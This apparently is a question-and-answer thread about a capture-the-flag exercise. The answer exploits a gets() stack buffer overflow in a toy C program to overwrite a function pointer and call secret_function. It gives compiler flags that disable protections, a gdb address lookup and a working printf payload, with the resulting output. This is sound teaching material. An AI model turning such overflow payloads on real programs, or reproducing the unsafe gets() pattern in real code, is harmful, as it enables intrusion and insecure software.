I am currently trying to make a code more safe for a cybersecurity exercise. I was asked to make the flag contained in the secret_function()
come out. The problem is that I can't modify the code and that I don't see how I can give the address of the secret_function()
as the value of the function_ptr()
. The only hint we were given is that a buffer_overflow
might help, even though I don't understand how.
I tried multiple values, but the only thing I was able to achieve was a segfault when I exceeded 10 characters due to the buffer limit. Here is the code of the functions involved:
void secret_function ()
{
printf ("{The stone isn't in the pocket anymore ...}\n");
}
void monitor_radiation_levels ()
{
char buffer[10];
void (* function_ptr) () = NULL;
printf ("Enter radiation levels: ");
gets (buffer);
printf ("Radiation Levels: %s\n" ,buffer);
if (function_ptr){
function_ptr();
} else {
printf ("Function Pointer: %p\n",( void * ) function_ptr);
}
}
To demonstrate the overflow, I use Linux and gcc 15.1.1.
I created this source file:
#include <stdio.h>
void secret_function ()
{
printf ("{The stone isn't in the pocket anymore ...}\n");
}
void monitor_radiation_levels ()
{
char buffer[10];
void (* function_ptr) () = NULL;
printf ("Enter radiation levels: ");
gets (buffer);
printf ("Radiation Levels: %s\n" ,buffer);
if (function_ptr){
function_ptr();
} else {
printf ("Function Pointer: %p\n",( void * ) function_ptr);
}
}
int main() {
monitor_radiation_levels();
}
Then compiled it with gcc -std=c99 -fno-stack-protector -static main.c
C99 standard is selected to allow using deprecated gets
function. We need to disable stack overflow protector to exploit stack buffer overflow. We build the program statically to disable Address Space Layout Randomization.
Use the debugger to get the secret function address: gdb ./a.out
(gdb) p &secret_function
$1 = (<text variable, no debug info> *) 0x402f05 <secret_function>
Now exploit the buffer overflow:
$ printf 'AAAAAAAAAA\x05\x2f\x40' | ./a.out
Enter radiation levels: Radiation Levels: AAAAAAAAAA/@
{The stone isn't in the pocket anymore ...}
Note that without disabling the stack protector, we get this result:
$ printf 'AAAAAAAAAA\x05\x2f\x40' | ./a.out
Enter radiation levels: Radiation Levels: AAAAAAAAAA/@
Function Pointer: (nil)
*** stack smashing detected ***: terminated
Aborted (core dumped)